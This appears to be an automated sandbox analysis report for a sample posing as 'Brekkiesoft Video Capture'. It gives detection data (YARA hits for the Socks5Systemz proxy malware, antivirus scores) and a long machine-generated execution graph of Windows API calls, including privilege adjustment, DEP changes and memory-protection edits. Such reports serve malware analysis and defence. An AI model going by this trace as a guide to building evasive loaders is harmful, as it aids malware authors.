                                                                                        Commandline:"C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe" -i
                                                                                        Imagebase:0x400000
                                                                                        File size:3'473'773 bytes
                                                                                        MD5 hash:C8FF7F2AEE9BB015FC6C931A953CD294
                                                                                        Has elevated privileges:true
                                                                                        Has administrator privileges:true
                                                                                        Programmed in:C, C++ or other language
                                                                                        Yara matches:
                                                                                        • Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000003.00000002.3384636010.0000000002753000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000003.00000000.2134308684.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000003.00000002.3384850587.0000000002C71000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                        • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Brekkiesoft Video Capture 1.33\bsoftvideocapture33.exe, Author: Joe Security
                                                                                        Antivirus matches:
                                                                                        • Detection: 100%, Joe Sandbox ML
                                                                                        • Detection: 33%, ReversingLabs
                                                                                        Reputation:low
                                                                                        Has exited:false

                                                                                        Reset < >

                                                                                          Execution Graph

                                                                                          Execution Coverage:21.3%
                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                          Signature Coverage:2.4%
                                                                                          Total number of Nodes:1521
                                                                                          Total number of Limit Nodes:22
                                                                                          execution_graph 5450 407548 5451 407554 CloseHandle 5450->5451 5452 40755d 5450->5452 5451->5452 6687 402b48 RaiseException 5892 407749 5893 4076dc WriteFile 5892->5893 5898 407724 5892->5898 5894 4076e8 5893->5894 5895 4076ef 5893->5895 5896 40748c 35 API calls 5894->5896 5897 407700 5895->5897 5899 4073ec 34 API calls 5895->5899 5896->5895 5898->5892 5900 4077e0 5898->5900 5899->5897 5901 4078db InterlockedExchange 5900->5901 5903 407890 5900->5903 5902 4078e7 5901->5902 6688 40294a 6689 402952 6688->6689 6690 403554 4 API calls 6689->6690 6691 402967 6689->6691 6690->6689 6692 403f4a 6693 403f53 6692->6693 6695 403f5c 6692->6695 6696 403f07 6693->6696 6699 403f09 6696->6699 6698 403f3c 6698->6695 6700 403154 4 API calls 6699->6700 6702 403e9c 6699->6702 6705 403f3d 6699->6705 6719 403e9c 6699->6719 6700->6699 6701 403ef2 6704 402674 4 API calls 6701->6704 6702->6698 6702->6701 6708 403ea9 6702->6708 6710 403e8e 6702->6710 6707 403ecf 6704->6707 6705->6695 6707->6695 6708->6707 6709 402674 4 API calls 6708->6709 6709->6707 6711 403e4c 6710->6711 6712 403e67 6711->6712 6713 403e62 6711->6713 6714 403e7b 6711->6714 6717 403e78 6712->6717 6718 402674 4 API calls 6712->6718 6716 403cc8 4 API calls 6713->6716 6715 402674 4 API calls 6714->6715 6715->6717 6716->6712 6717->6701 6717->6708 6718->6717 6720 403ed7 6719->6720 6726 403ea9 6719->6726 6722 403ef2 6720->6722 6723 403e8e 4 API calls 6720->6723 6721 403ecf 6721->6699 6724 402674 4 API calls 6722->6724 6725 403ee6 6723->6725 6724->6721 6725->6722 6725->6726 6726->6721 6727 402674 4 API calls 6726->6727 6727->6721 6246 40ac4f 6247 40abc1 6246->6247 6248 4094d8 9 API calls 6247->6248 6250 40abed 6247->6250 6248->6250 6249 40ac06 6251 40ac1a 6249->6251 6252 40ac0f DestroyWindow 6249->6252 6250->6249 6253 40ac00 RemoveDirectoryA 6250->6253 6254 40ac42 6251->6254 6255 40357c 4 API calls 6251->6255 6252->6251 6253->6249 6256 40ac38 6255->6256 6257 4025ac 4 API calls 6256->6257 6257->6254 6258 403a52 6259 403a5a WriteFile 6258->6259 6261 403a74 6258->6261 6260 403a78 GetLastError 6259->6260 6259->6261 6260->6261 6262 402654 6263 403154 4 API calls 6262->6263 6264 402614 6263->6264 6265 402632 6264->6265 6266 403154 4 API calls 6264->6266 6266->6265 6267 40ac56 6268 40ac5d 6267->6268 6270 40ac88 6267->6270 6277 409448 6268->6277 6272 403198 4 API calls 6270->6272 6271 40ac62 6271->6270 6274 40ac80 MessageBoxA 6271->6274 6273 40acc0 6272->6273 6275 403198 4 API calls 6273->6275 6274->6270 6276 40acc8 6275->6276 6278 409454 GetCurrentProcess OpenProcessToken 6277->6278 6279 4094af ExitWindowsEx 6277->6279 6280 409466 6278->6280 6281 40946a LookupPrivilegeValueA AdjustTokenPrivileges GetLastError 6278->6281 6279->6280 6280->6271 6281->6279 6281->6280 6736 40995e 6739 409960 6736->6739 6737 40999e CallWindowProcA 6738 409982 6737->6738 6739->6737 6739->6738 6740 409960 6741 409982 6740->6741 6743 40996f 6740->6743 6742 40999e CallWindowProcA 6742->6741 6743->6741 6743->6742 6744 405160 6745 405173 6744->6745 6746 404e58 33 API calls 6745->6746 6747 405187 6746->6747 6282 402e64 6283 402e69 6282->6283 6284 402e7a RtlUnwind 6283->6284 6285 402e5e 6283->6285 6286 402e9d 6284->6286 5904 40766c SetFilePointer 5905 4076a3 5904->5905 5906 407693 GetLastError 5904->5906 5906->5905 5907 40769c 5906->5907 5908 40748c 35 API calls 5907->5908 5908->5905 6299 40667c IsDBCSLeadByte 6300 406694 6299->6300 6760 403f7d 6761 403fa2 6760->6761 6762 403f84 6760->6762 6761->6762 6764 403e8e 4 API calls 6761->6764 6763 403f8c 6762->6763 6765 402674 4 API calls 6762->6765 6764->6762 6766 403fca 6765->6766 6767 403d02 6769 403d12 6767->6769 6768 403ddf ExitProcess 6769->6768 6770 403db8 6769->6770 6774 403dea 6769->6774 6777 403da4 6769->6777 6778 403d8f MessageBoxA 6769->6778 6771 403cc8 4 API calls 6770->6771 6772 403dc2 6771->6772 6773 403cc8 4 API calls 6772->6773 6775 403dcc 6773->6775 6787 4019dc 6775->6787 6783 403fe4 6777->6783 6778->6770 6779 403dd1 6779->6768 6779->6774 6784 403fe8 6783->6784 6785 403f07 4 API calls 6784->6785 6786 404006 6785->6786 6788 401abb 6787->6788 6789 4019ed 6787->6789 6788->6779 6790 401a04 RtlEnterCriticalSection 6789->6790 6791 401a0e LocalFree 6789->6791 6790->6791 6792 401a41 6791->6792 6793 401a49 6792->6793 6794 401a2f VirtualFree 6792->6794 6795 401a70 LocalFree 6793->6795 6796 401a87 6793->6796 6794->6792 6795->6795 6795->6796 6797 401aa9 RtlDeleteCriticalSection 6796->6797 6798 401a9f RtlLeaveCriticalSection 6796->6798 6797->6779 6798->6797 6305 404206 6306 4041cc 6305->6306 6307 40420a 6305->6307 6308 403154 4 API calls 6307->6308 6309 404282 6307->6309 6310 404323 6308->6310 6311 402c08 6312 402c82 6311->6312 6315 402c19 6311->6315 6313 402c56 RtlUnwind 6314 403154 4 API calls 6313->6314 6314->6312 6315->6312 6315->6313 6318 402b28 6315->6318 6319 402b31 RaiseException 6318->6319 6320 402b47 6318->6320 6319->6320 6320->6313 6321 408c10 6322 408c17 6321->6322 6323 403198 4 API calls 6322->6323 6331 408cb1 6323->6331 6324 408cdc 6325 4031b8 4 API calls 6324->6325 6326 408d69 6325->6326 6327 408cc8 6329 4032fc 18 API calls 6327->6329 6328 403278 18 API calls 6328->6331 6329->6324 6330 4032fc 18 API calls 6330->6331 6331->6324 6331->6327 6331->6328 6331->6330 6336 40a814 6337 40a839 6336->6337 6338 40993c 29 API calls 6337->6338 6341 40a83e 6338->6341 6339 40a891 6370 4026c4 GetSystemTime 6339->6370 6341->6339 6344 408dd8 18 API calls 6341->6344 6342 40a896 6343 409330 46 API calls 6342->6343 6345 40a89e 6343->6345 6346 40a86d 6344->6346 6347 4031e8 18 API calls 6345->6347 6350 40a875 MessageBoxA 6346->6350 6348 40a8ab 6347->6348 6349 406928 19 API calls 6348->6349 6351 40a8b8 6349->6351 6350->6339 6352 40a882 6350->6352 6353 4066c0 19 API calls 6351->6353 6354 405864 19 API calls 6352->6354 6355 40a8c8 6353->6355 6354->6339 6356 406638 19 API calls 6355->6356 6357 40a8d9 6356->6357 6358 403340 18 API calls 6357->6358 6359 40a8e7 6358->6359 6360 4031e8 18 API calls 6359->6360 6361 40a8f7 6360->6361 6362 4074e0 37 API calls 6361->6362 6363 40a936 6362->6363 6364 402594 18 API calls 6363->6364 6365 40a956 6364->6365 6366 407a28 19 API calls 6365->6366 6367 40a998 6366->6367 6368 407cb8 35 API calls 6367->6368 6369 40a9bf 6368->6369 6370->6342 5448 407017 5449 407008 SetErrorMode 5448->5449 6371 403018 6372 403070 6371->6372 6373 403025 6371->6373 6374 40302a RtlUnwind 6373->6374 6375 40304e 6374->6375 6377 402f78 6375->6377 6378 402be8 6375->6378 6379 402bf1 RaiseException 6378->6379 6380 402c04 6378->6380 6379->6380 6380->6372 6385 40901e 6386 409010 6385->6386 6387 408fac Wow64RevertWow64FsRedirection 6386->6387 6388 409018 6387->6388 6389 409020 SetLastError 6390 409029 6389->6390 6405 403a28 ReadFile 6406 403a46 6405->6406 6407 403a49 GetLastError 6405->6407 5909 40762c ReadFile 5910 407663 5909->5910 5911 40764c 5909->5911 5912 407652 GetLastError 5911->5912 5913 40765c 5911->5913 5912->5910 5912->5913 5914 40748c 35 API calls 5913->5914 5914->5910 6809 40712e 6810 407118 6809->6810 6811 403198 4 API calls 6810->6811 6812 407120 6811->6812 6813 403198 4 API calls 6812->6813 6814 407128 6813->6814 5929 40a82f 5930 409ae8 18 API calls 5929->5930 5931 40a834 5930->5931 5932 40a839 5931->5932 5933 402f24 5 API calls 5931->5933 5966 40993c 5932->5966 5933->5932 5935 40a891 5971 4026c4 GetSystemTime 5935->5971 5937 40a83e 5937->5935 6032 408dd8 5937->6032 5938 40a896 5972 409330 5938->5972 5942 40a86d 5946 40a875 MessageBoxA 5942->5946 5943 4031e8 18 API calls 5944 40a8ab 5943->5944 5990 406928 5944->5990 5946->5935 5948 40a882 5946->5948 6035 405864 5948->6035 5953 40a8d9 6017 403340 5953->6017 5955 40a8e7 5956 4031e8 18 API calls 5955->5956 5957 40a8f7 5956->5957 5958 4074e0 37 API calls 5957->5958 5959 40a936 5958->5959 5960 402594 18 API calls 5959->5960 5961 40a956 5960->5961 5962 407a28 19 API calls 5961->5962 5963 40a998 5962->5963 5964 407cb8 35 API calls 5963->5964 5965 40a9bf 5964->5965 6039 40953c 5966->6039 5969 4098cc 19 API calls 5970 40995c 5969->5970 5970->5937 5971->5938 5979 409350 5972->5979 5975 409375 CreateDirectoryA 5976 4093ed 5975->5976 5977 40937f GetLastError 5975->5977 5978 40322c 4 API calls 5976->5978 5977->5979 5981 4093f7 5978->5981 5979->5975 5980 408dd8 18 API calls 5979->5980 5982 404c94 33 API calls 5979->5982 5985 407284 19 API calls 5979->5985 5988 408da8 18 API calls 5979->5988 5989 405890 18 API calls 5979->5989 6095 406cf4 5979->6095 6118 409224 5979->6118 5980->5979 5983 4031b8 4 API calls 5981->5983 5982->5979 5984 409411 5983->5984 5986 4031b8 4 API calls 5984->5986 5985->5979 5987 40941e 5986->5987 5987->5943 5988->5979 5989->5979 6224 406820 5990->6224 5993 403454 18 API calls 5994 40694a 5993->5994 5995 4066c0 5994->5995 6229 4068e4 5995->6229 5998 4066f0 6001 403340 18 API calls 5998->6001 5999 4066fe 6000 403454 18 API calls 5999->6000 6002 406711 6000->6002 6003 4066fc 6001->6003 6004 403340 18 API calls 6002->6004 6005 403198 4 API calls 6003->6005 6004->6003 6006 406733 6005->6006 6007 406638 6006->6007 6008 406642 6007->6008 6009 406665 6007->6009 6235 406950 6008->6235 6011 40322c 4 API calls 6009->6011 6013 40666e 6011->6013 6012 406649 6012->6009 6014 406654 6012->6014 6013->5953 6015 403340 18 API calls 6014->6015 6016 406662 6015->6016 6016->5953 6018 403344 6017->6018 6019 4033a5 6017->6019 6020 4031e8 6018->6020 6021 40334c 6018->6021 6025 403254 18 API calls 6020->6025 6027 4031fc 6020->6027 6021->6019 6022 40335b 6021->6022 6026 4031e8 18 API calls 6021->6026 6024 403254 18 API calls 6022->6024 6023 403228 6023->5955 6029 403375 6024->6029 6025->6027 6026->6022 6027->6023 6028 4025ac 4 API calls 6027->6028 6028->6023 6030 4031e8 18 API calls 6029->6030 6031 4033a1 6030->6031 6031->5955 6033 408da8 18 API calls 6032->6033 6034 408df4 6033->6034 6034->5942 6036 405869 6035->6036 6037 405940 19 API calls 6036->6037 6038 40587b 6037->6038 6038->6038 6046 40955b 6039->6046 6040 409590 6042 40959d GetUserDefaultLangID 6040->6042 6047 409592 6040->6047 6041 409594 6051 407024 GetModuleHandleA GetProcAddress 6041->6051 6042->6047 6045 40956f 6045->5969 6046->6040 6046->6041 6046->6045 6047->6045 6048 4095cb GetACP 6047->6048 6049 4095ef 6047->6049 6048->6045 6048->6047 6049->6045 6050 409615 GetACP 6049->6050 6050->6045 6050->6049 6052 407067 6051->6052 6053 40705e 6051->6053 6054 407070 6052->6054 6055 4070a8 6052->6055 6062 403198 4 API calls 6053->6062 6072 406f68 6054->6072 6056 406f68 RegOpenKeyExA 6055->6056 6060 4070c1 6056->6060 6058 407089 6059 4070de 6058->6059 6075 406f5c 6058->6075 6064 40322c 4 API calls 6059->6064 6060->6059 6063 406f5c 20 API calls 6060->6063 6066 407120 6062->6066 6067 4070d5 RegCloseKey 6063->6067 6068 4070eb 6064->6068 6069 403198 4 API calls 6066->6069 6067->6059 6070 4032fc 18 API calls 6068->6070 6071 407128 6069->6071 6070->6053 6071->6047 6073 406f73 6072->6073 6074 406f79 RegOpenKeyExA 6072->6074 6073->6074 6074->6058 6078 406e10 6075->6078 6079 406e36 RegQueryValueExA 6078->6079 6080 406e59 6079->6080 6085 406e7b 6079->6085 6081 406e73 6080->6081 6080->6085 6086 403278 18 API calls 6080->6086 6087 403420 18 API calls 6080->6087 6083 403198 4 API calls 6081->6083 6082 403198 4 API calls 6084 406f47 RegCloseKey 6082->6084 6083->6085 6084->6059 6085->6082 6086->6080 6088 406eb0 RegQueryValueExA 6087->6088 6088->6079 6089 406ecc 6088->6089 6089->6085 6090 4034f0 18 API calls 6089->6090 6091 406f0e 6090->6091 6092 406f20 6091->6092 6094 403420 18 API calls 6091->6094 6093 4031e8 18 API calls 6092->6093 6093->6085 6094->6092 6137 406a58 6095->6137 6098 406d26 6100 406a58 19 API calls 6098->6100 6102 406d72 6098->6102 6101 406d36 6100->6101 6103 406d42 6101->6103 6106 406a34 21 API calls 6101->6106 6145 406888 6102->6145 6103->6102 6104 406d67 6103->6104 6107 406a58 19 API calls 6103->6107 6104->6102 6157 406cc8 GetWindowsDirectoryA 6104->6157 6106->6103 6110 406d5b 6107->6110 6110->6104 6113 406a34 21 API calls 6110->6113 6111 406638 19 API calls 6112 406d87 6111->6112 6114 40322c 4 API calls 6112->6114 6113->6104 6115 406d91 6114->6115 6116 4031b8 4 API calls 6115->6116 6117 406dab 6116->6117 6117->5979 6119 409244 6118->6119 6120 406638 19 API calls 6119->6120 6121 40925d 6120->6121 6122 40322c 4 API calls 6121->6122 6129 409268 6122->6129 6123 406978 20 API calls 6123->6129 6125 408dd8 18 API calls 6125->6129 6126 4033b4 18 API calls 6126->6129 6127 405890 18 API calls 6127->6129 6129->6123 6129->6125 6129->6126 6129->6127 6130 4092e4 6129->6130 6197 4091b0 6129->6197 6205 409034 6129->6205 6131 40322c 4 API calls 6130->6131 6132 4092ef 6131->6132 6133 4031b8 4 API calls 6132->6133 6134 409309 6133->6134 6135 403198 4 API calls 6134->6135 6136 409311 6135->6136 6136->5979 6138 4034f0 18 API calls 6137->6138 6139 406a6b 6138->6139 6140 406a82 GetEnvironmentVariableA 6139->6140 6144 406a95 6139->6144 6159 406dec 6139->6159 6140->6139 6141 406a8e 6140->6141 6142 403198 4 API calls 6141->6142 6142->6144 6144->6098 6154 406a34 6144->6154 6146 403414 6145->6146 6147 4068ab GetFullPathNameA 6146->6147 6148 4068b7 6147->6148 6149 4068ce 6147->6149 6148->6149 6151 4068bf 6148->6151 6150 40322c 4 API calls 6149->6150 6153 4068cc 6150->6153 6152 403278 18 API calls 6151->6152 6152->6153 6153->6111 6163 4069dc 6154->6163 6158 406ce9 6157->6158 6158->6102 6160 406dfa 6159->6160 6161 4034f0 18 API calls 6160->6161 6162 406e08 6161->6162 6162->6139 6170 406978 6163->6170 6165 4069fe 6166 406a06 GetFileAttributesA 6165->6166 6167 406a1b 6166->6167 6168 403198 4 API calls 6167->6168 6169 406a23 6168->6169 6169->6098 6180 406744 6170->6180 6172 4069b0 6175 4069c6 6172->6175 6176 4069bb 6172->6176 6174 406989 6174->6172 6187 406970 CharPrevA 6174->6187 6188 403454 6175->6188 6178 40322c 4 API calls 6176->6178 6179 4069c4 6178->6179 6179->6165 6183 406755 6180->6183 6181 4067b9 6182 406680 IsDBCSLeadByte 6181->6182 6184 4067b4 6181->6184 6182->6184 6183->6181 6186 406773 6183->6186 6184->6174 6186->6184 6195 406680 IsDBCSLeadByte 6186->6195 6187->6174 6189 403486 6188->6189 6190 403459 6188->6190 6191 403198 4 API calls 6189->6191 6190->6189 6193 40346d 6190->6193 6192 40347c 6191->6192 6192->6179 6194 403278 18 API calls 6193->6194 6194->6192 6196 406694 6195->6196 6196->6186 6198 403198 4 API calls 6197->6198 6200 4091d1 6198->6200 6202 4091fe 6200->6202 6214 4032a8 6200->6214 6217 403494 6200->6217 6203 403198 4 API calls 6202->6203 6204 409213 6203->6204 6204->6129 6206 408f70 2 API calls 6205->6206 6207 40904a 6206->6207 6208 40904e 6207->6208 6221 406a48 6207->6221 6208->6129 6211 409081 6212 408fac Wow64RevertWow64FsRedirection 6211->6212 6213 409089 6212->6213 6213->6129 6215 403278 18 API calls 6214->6215 6216 4032b5 6215->6216 6216->6200 6218 403498 6217->6218 6220 4034c3 6217->6220 6219 4034f0 18 API calls 6218->6219 6219->6220 6220->6200 6222 4069dc 21 API calls 6221->6222 6223 406a52 GetLastError 6222->6223 6223->6211 6225 406744 IsDBCSLeadByte 6224->6225 6227 406835 6225->6227 6226 40687f 6226->5993 6227->6226 6228 406680 IsDBCSLeadByte 6227->6228 6228->6227 6230 4068f3 6229->6230 6231 406820 IsDBCSLeadByte 6230->6231 6234 4068fe 6231->6234 6232 4066ea 6232->5998 6232->5999 6233 406680 IsDBCSLeadByte 6233->6234 6234->6232 6234->6233 6236 406957 6235->6236 6237 40695b 6235->6237 6236->6012 6240 406970 CharPrevA 6237->6240 6239 40696c 6239->6012 6240->6239 6815 408f30 6818 408dfc 6815->6818 6819 408e05 6818->6819 6820 403198 4 API calls 6819->6820 6821 408e13 6819->6821 6820->6819 6822 403932 6823 403924 6822->6823 6824 40374c VariantClear 6823->6824 6825 40392c 6824->6825 5385 4075c4 SetFilePointer 5386 4075f7 5385->5386 5387 4075e7 GetLastError 5385->5387 5387->5386 5388 4075f0 5387->5388 5390 40748c GetLastError 5388->5390 5393 4073ec 5390->5393 5394 407284 19 API calls 5393->5394 5395 407414 5394->5395 5396 407434 5395->5396 5398 405194 33 API calls 5395->5398 5397 405890 18 API calls 5396->5397 5399 407443 5397->5399 5398->5396 5400 403198 4 API calls 5399->5400 5401 407460 5400->5401 5401->5386 6416 4076c8 WriteFile 6417 4076e8 6416->6417 6420 4076ef 6416->6420 6418 40748c 35 API calls 6417->6418 6418->6420 6419 407700 6420->6419 6421 4073ec 34 API calls 6420->6421 6421->6419 6422 402ccc 6425 402cfe 6422->6425 6426 402cdd 6422->6426 6423 402d88 RtlUnwind 6424 403154 4 API calls 6423->6424 6424->6425 6426->6423 6426->6425 6427 402b28 RaiseException 6426->6427 6428 402d7f 6427->6428 6428->6423 6834 403fcd 6835 403f07 4 API calls 6834->6835 6836 403fd6 6835->6836 6837 403e9c 4 API calls 6836->6837 6838 403fe2 6837->6838 6435 4024d0 6436 4024e4 6435->6436 6437 4024e9 6435->6437 6440 401918 4 API calls 6436->6440 6438 402518 6437->6438 6439 40250e RtlEnterCriticalSection 6437->6439 6442 4024ed 6437->6442 6450 402300 6438->6450 6439->6438 6440->6437 6443 402525 6446 402581 6443->6446 6447 402577 RtlLeaveCriticalSection 6443->6447 6445 401fd4 14 API calls 6448 402531 6445->6448 6447->6446 6448->6443 6449 40215c 9 API calls 6448->6449 6449->6443 6451 402314 6450->6451 6453 4023b8 6451->6453 6454 402335 6451->6454 6452 402344 6452->6443 6452->6445 6453->6452 6455 401d80 9 API calls 6453->6455 6458 402455 6453->6458 6460 401e84 6453->6460 6454->6452 6456 401b74 9 API calls 6454->6456 6455->6453 6456->6452 6458->6452 6459 401d00 9 API calls 6458->6459 6459->6452 6465 401768 6460->6465 6462 401e99 6463 401ea6 6462->6463 6464 401dcc 9 API calls 6462->6464 6463->6453 6464->6463 6466 401787 6465->6466 6467 40183b 6466->6467 6468 401494 LocalAlloc VirtualAlloc VirtualAlloc VirtualFree 6466->6468 6469 40132c LocalAlloc 6466->6469 6471 401821 6466->6471 6473 4017d6 6466->6473 6470 4015c4 VirtualAlloc 6467->6470 6474 4017e7 6467->6474 6468->6466 6469->6466 6470->6474 6472 40150c VirtualFree 6471->6472 6472->6474 6475 40150c VirtualFree 6473->6475 6474->6462 6475->6474 6476 4028d2 6477 4028da 6476->6477 6478 403554 4 API calls 6477->6478 6479 4028ef 6477->6479 6478->6477 6480 4025ac 4 API calls 6479->6480 6481 4028f4 6480->6481 6839 4019d3 6840 4019ba 6839->6840 6841 4019c3 RtlLeaveCriticalSection 6840->6841 6842 4019cd 6840->6842 6841->6842 5402 407fd4 5403 407fe6 5402->5403 5405 407fed 5402->5405 5413 407f10 5403->5413 5406 408015 5405->5406 5407 408017 5405->5407 5408 408021 5405->5408 5427 407e2c 5406->5427 5424 407d7c 5407->5424 5409 40804e 5408->5409 5411 407d7c 33 API calls 5408->5411 5411->5409 5414 407f25 5413->5414 5415 407d7c 33 API calls 5414->5415 5416 407f34 5414->5416 5415->5416 5417 407f6e 5416->5417 5419 407d7c 33 API calls 5416->5419 5418 407f82 5417->5418 5420 407d7c 33 API calls 5417->5420 5423 407fae 5418->5423 5434 407eb8 5418->5434 5419->5417 5420->5418 5423->5405 5437 4058c4 5424->5437 5426 407d9e 5426->5408 5428 405194 33 API calls 5427->5428 5429 407e57 5428->5429 5445 407de4 5429->5445 5431 407e5f 5432 403198 4 API calls 5431->5432 5433 407e74 5432->5433 5433->5408 5435 407ec7 VirtualFree 5434->5435 5436 407ed9 VirtualAlloc 5434->5436 5435->5436 5436->5423 5439 4058d0 5437->5439 5438 405194 33 API calls 5440 4058fd 5438->5440 5439->5438 5441 4031e8 18 API calls 5440->5441 5442 405908 5441->5442 5443 403198 4 API calls 5442->5443 5444 40591d 5443->5444 5444->5426 5446 4058c4 33 API calls 5445->5446 5447 407e06 5446->5447 5447->5431 6482 405ad4 6483 405ae4 6482->6483 6484 405adc 6482->6484 6485 405ae2 6484->6485 6486 405aeb 6484->6486 6489 405a4c 6485->6489 6487 405940 19 API calls 6486->6487 6487->6483 6490 405a54 6489->6490 6491 405a6e 6490->6491 6492 403154 4 API calls 6490->6492 6493 405a73 6491->6493 6494 405a8a 6491->6494 6492->6490 6495 405940 19 API calls 6493->6495 6496 403154 4 API calls 6494->6496 6497 405a86 6495->6497 6498 405a8f 6496->6498 6500 403154 4 API calls 6497->6500 6499 4059b0 33 API calls 6498->6499 6499->6497 6501 405ab8 6500->6501 6502 403154 4 API calls 6501->6502 6503 405ac6 6502->6503 6503->6483 5915 40a9de 5916 40aa03 5915->5916 5917 407918 InterlockedExchange 5916->5917 5918 40aa2d 5917->5918 5919 40aa3d 5918->5919 5920 409ae8 18 API calls 5918->5920 5925 4076ac SetEndOfFile 5919->5925 5920->5919 5922 40aa59 5923 4025ac 4 API calls 5922->5923 5924 40aa90 5923->5924 5926 4076c3 5925->5926 5927 4076bc 5925->5927 5926->5922 5928 40748c 35 API calls 5927->5928 5928->5926 6846 402be9 RaiseException 6847 402c04 6846->6847 6514 402af2 6515 402afe 6514->6515 6518 402ed0 6515->6518 6519 403154 4 API calls 6518->6519 6521 402ee0 6519->6521 6520 402b03 6521->6520 6523 402b0c 6521->6523 6524 402b25 6523->6524 6525 402b15 RaiseException 6523->6525 6524->6520 6525->6524 5453 40a5f8 5496 4030dc 5453->5496 5455 40a60e 5499 4042e8 5455->5499 5457 40a613 5502 40457c GetModuleHandleA GetProcAddress 5457->5502 5461 40a61d 5510 4065c8 5461->5510 5463 40a622 5519 4090a4 GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 5463->5519 5470 40a665 5541 406c2c 5470->5541 5474 4031e8 18 API calls 5475 40a683 5474->5475 5555 4074e0 5475->5555 5480 407918 InterlockedExchange 5483 40a6d2 5480->5483 5482 40a710 5575 4074a0 5482->5575 5483->5482 5612 409ae8 5483->5612 5485 40a751 5579 407a28 5485->5579 5486 40a736 5486->5485 5487 409ae8 18 API calls 5486->5487 5487->5485 5489 40a776 5589 408b08 5489->5589 5493 40a7bc 5494 408b08 35 API calls 5493->5494 5495 40a7f5 5493->5495 5494->5493 5622 403094 5496->5622 5498 4030e1 GetModuleHandleA GetCommandLineA 5498->5455 5500 403154 4 API calls 5499->5500 5501 404323 5499->5501 5500->5501 5501->5457 5503 404598 5502->5503 5504 40459f GetProcAddress 5502->5504 5503->5504 5505 4045b5 GetProcAddress 5504->5505 5506 4045ae 5504->5506 5507 4045c4 SetProcessDEPPolicy 5505->5507 5508 4045c8 5505->5508 5506->5505 5507->5508 5509 404624 6F541CD0 5508->5509 5509->5461 5623 405ca8 5510->5623 5520 4090f7 5519->5520 5707 406fa0 SetErrorMode 5520->5707 5523 407284 19 API calls 5524 409127 5523->5524 5525 403198 4 API calls 5524->5525 5526 40913c 5525->5526 5527 409b78 GetSystemInfo VirtualQuery 5526->5527 5528 409c2c 5527->5528 5531 409ba2 5527->5531 5533 409768 5528->5533 5529 409c0d VirtualQuery 5529->5528 5529->5531 5530 409bcc VirtualProtect 5530->5531 5531->5528 5531->5529 5531->5530 5532 409bfb VirtualProtect 5531->5532 5532->5529 5713 406bd0 GetCommandLineA 5533->5713 5535 409850 5536 4031b8 4 API calls 5535->5536 5538 40986a 5536->5538 5537 406c2c 20 API calls 5540 409785 5537->5540 5538->5470 5605 409c88 5538->5605 5539 403454 18 API calls 5539->5540 5540->5535 5540->5537 5540->5539 5542 406c53 GetModuleFileNameA 5541->5542 5543 406c77 GetCommandLineA 5541->5543 5544 403278 18 API calls 5542->5544 5551 406c7c 5543->5551 5545 406c75 5544->5545 5549 406ca4 5545->5549 5546 406c81 5547 403198 4 API calls 5546->5547 5550 406c89 5547->5550 5548 406af0 18 API calls 5548->5551 5552 403198 4 API calls 5549->5552 5553 40322c 4 API calls 5550->5553 5551->5546 5551->5548 5551->5550 5554 406cb9 5552->5554 5553->5549 5554->5474 5556 4074ea 5555->5556 5720 407576 5556->5720 5723 407578 5556->5723 5557 407516 5558 40752a 5557->5558 5559 40748c 35 API calls 5557->5559 5562 409c34 FindResourceA 5558->5562 5559->5558 5563 409c49 5562->5563 5564 409c4e SizeofResource 5562->5564 5565 409ae8 18 API calls 5563->5565 5566 409c60 LoadResource 5564->5566 5567 409c5b 5564->5567 5565->5564 5569 409c73 LockResource 5566->5569 5570 409c6e 5566->5570 5568 409ae8 18 API calls 5567->5568 5568->5566 5572 409c84 5569->5572 5573 409c7f 5569->5573 5571 409ae8 18 API calls 5570->5571 5571->5569 5572->5480 5572->5483 5574 409ae8 18 API calls 5573->5574 5574->5572 5577 4074b4 5575->5577 5576 4074c4 5576->5486 5577->5576 5578 4073ec 34 API calls 5577->5578 5578->5576 5580 407a35 5579->5580 5581 405890 18 API calls 5580->5581 5582 407a89 5580->5582 5581->5582 5583 407918 InterlockedExchange 5582->5583 5584 407a9b 5583->5584 5585 405890 18 API calls 5584->5585 5586 407ab1 5584->5586 5585->5586 5587 405890 18 API calls 5586->5587 5588 407af4 5586->5588 5587->5588 5588->5489 5591 408b39 5589->5591 5595 408b82 5589->5595 5590 408bcd 5726 407cb8 5590->5726 5593 4034f0 18 API calls 5591->5593 5591->5595 5598 403420 18 API calls 5591->5598 5599 4031e8 18 API calls 5591->5599 5603 407cb8 35 API calls 5591->5603 5593->5591 5594 408be4 5597 4031b8 4 API calls 5594->5597 5595->5590 5596 4034f0 18 API calls 5595->5596 5601 403420 18 API calls 5595->5601 5602 4031e8 18 API calls 5595->5602 5604 407cb8 35 API calls 5595->5604 5596->5595 5600 408bfe 5597->5600 5598->5591 5599->5591 5619 404c20 5600->5619 5601->5595 5602->5595 5603->5591 5604->5595 5606 40322c 4 API calls 5605->5606 5607 409cab 5606->5607 5608 409cba MessageBoxA 5607->5608 5609 409ccf 5608->5609 5610 403198 4 API calls 5609->5610 5611 409cd7 5610->5611 5611->5470 5613 409af1 5612->5613 5614 409b09 5612->5614 5616 405890 18 API calls 5613->5616 5615 405890 18 API calls 5614->5615 5617 409b1a 5615->5617 5618 409b03 5616->5618 5617->5482 5618->5482 5748 402594 5619->5748 5621 404c2b 5621->5493 5622->5498 5624 405940 19 API calls 5623->5624 5625 405cb9 5624->5625 5626 405280 GetSystemDefaultLCID 5625->5626 5630 4052b6 5626->5630 5627 404cdc 19 API calls 5627->5630 5628 40520c 19 API calls 5628->5630 5629 4031e8 18 API calls 5629->5630 5630->5627 5630->5628 5630->5629 5631 405318 5630->5631 5632 40520c 19 API calls 5631->5632 5633 4031e8 18 API calls 5631->5633 5634 404cdc 19 API calls 5631->5634 5635 40539b 5631->5635 5632->5631 5633->5631 5634->5631 5636 4031b8 4 API calls 5635->5636 5637 4053b5 5636->5637 5638 4053c4 GetSystemDefaultLCID 5637->5638 